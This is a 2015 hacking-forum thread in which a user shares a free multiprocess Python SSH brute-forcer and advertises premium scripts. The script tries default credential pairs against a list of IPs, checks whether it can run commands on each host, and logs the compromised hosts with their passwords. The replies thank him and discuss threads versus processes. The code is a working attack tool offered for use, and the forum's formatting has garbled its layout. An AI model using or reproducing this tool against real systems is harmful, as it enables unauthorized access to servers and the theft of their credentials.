Hack Forums
[Python] SSH Brute-Forcer - Threaded - Checks Execution - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Python] SSH Brute-Forcer - Threaded - Checks Execution (/showthread.php?tid=4709329)



SSH Brute-Forcer - Threaded - Checks Execution - Hopeful Goods - Feb 28, 2015

Free SSH scanner.
Paramiko needed.
yum install python-paramiko* -y
Message me for premium scripts.


PHP Code

<?php 
import socket
import sys
import time
from multiprocessing import Process
import paramiko
 
if len(sys.argv) < 4:
        
sys.exit("Example: python2 script.py <Input-File> <Output-File> <Threads>\n")
 
thread_cnt = int(sys.argv[3])
thread_tot = 0




read_h 
= open(str(sys.argv[1]),'a+')

def f(ip):
    
things = "root:root,admin:admin,admin:12345,root:12345,root:password".split(",")
    for 
sets in things:
        
bsets = sets.split(":")

        try:
            print 
"Trying: ", ip
            ssh
.connect(ip, username=bsets[0],password=bsets[1], timeout=1)
        
except Exception:
            print 
"Nope", ip
        
else:
            try:
                (
stdin, stdout, stderr) = ssh.exec_command("echo -e '\x62\x69\x6e\x66\x61\x67\x74'\n")
            
except:
                print 
"No Exec\n"
                
break
            else:
                
myrep = stdout.readlines()
                if 
str(myrep) != "binfagt":
                    print 
"No Exec\n"
                    
break
                else:
                    print 
'Exec on ', ip
                    file_h 
= open(sys.argv[2],'a+')
                    
file_h.write(ip + ":" + bsets[0] + ":" + bsets[1] + "\n")
                    
file_h.close() 
                    break

        
ssh.close()

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())



for 
line in read_h:
    
myip = line.split("\n")
    
p = Process(target=f, args=(myip[0],))
    
p.start()
    
thread_tot += 1
    
if thread_tot > thread_cnt:
       
p.join()
       
thread_tot = 0
p
.join() 



* - deiski - Feb 28, 2015

Decent share mate, thanks for this.


* - roleeswagger - Mar 1, 2015

Nice stuff.. i will save it for later :)


* - Hopeful Goods - Mar 1, 2015

(Feb 28, 2015 10:54 PM)+Cyan Wrote:  Decent share mate, thanks for this.

Yep, if anything it serves as a paramiko example.
I have had an easy time working with paramiko and libtelnet.

I could post the telnet version if you wanted.


* - Nstewart682 - Mar 1, 2015

Really good share, thanks a lot dude.


* - super exploiter - Mar 2, 2015

Thank you ! I was looking for this thing only.


* - #YOLO - Mar 2, 2015

Im learning python right now, and this is really nice to look over, thanks for the share :)


* - Hopeful Goods - Mar 2, 2015

(Mar 2, 2015 03:38 PM)#YOLO Wrote:  Im learning python right now, and this is really nice to look over, thanks for the share :)

No problem! Feel free to message me if you want support


* - Black‌jack - Mar 2, 2015

This isn't multithreaded; this spawns multiple processes. A small but important distinction.


* - Hopeful Goods - Mar 2, 2015

(Mar 2, 2015 08:19 PM)Black‌jack Wrote:  This isn't multithreaded; this spawns multiple processes. A small but important distinction.

Yeah, I made one with twisted threads, but I couldn't find it. haha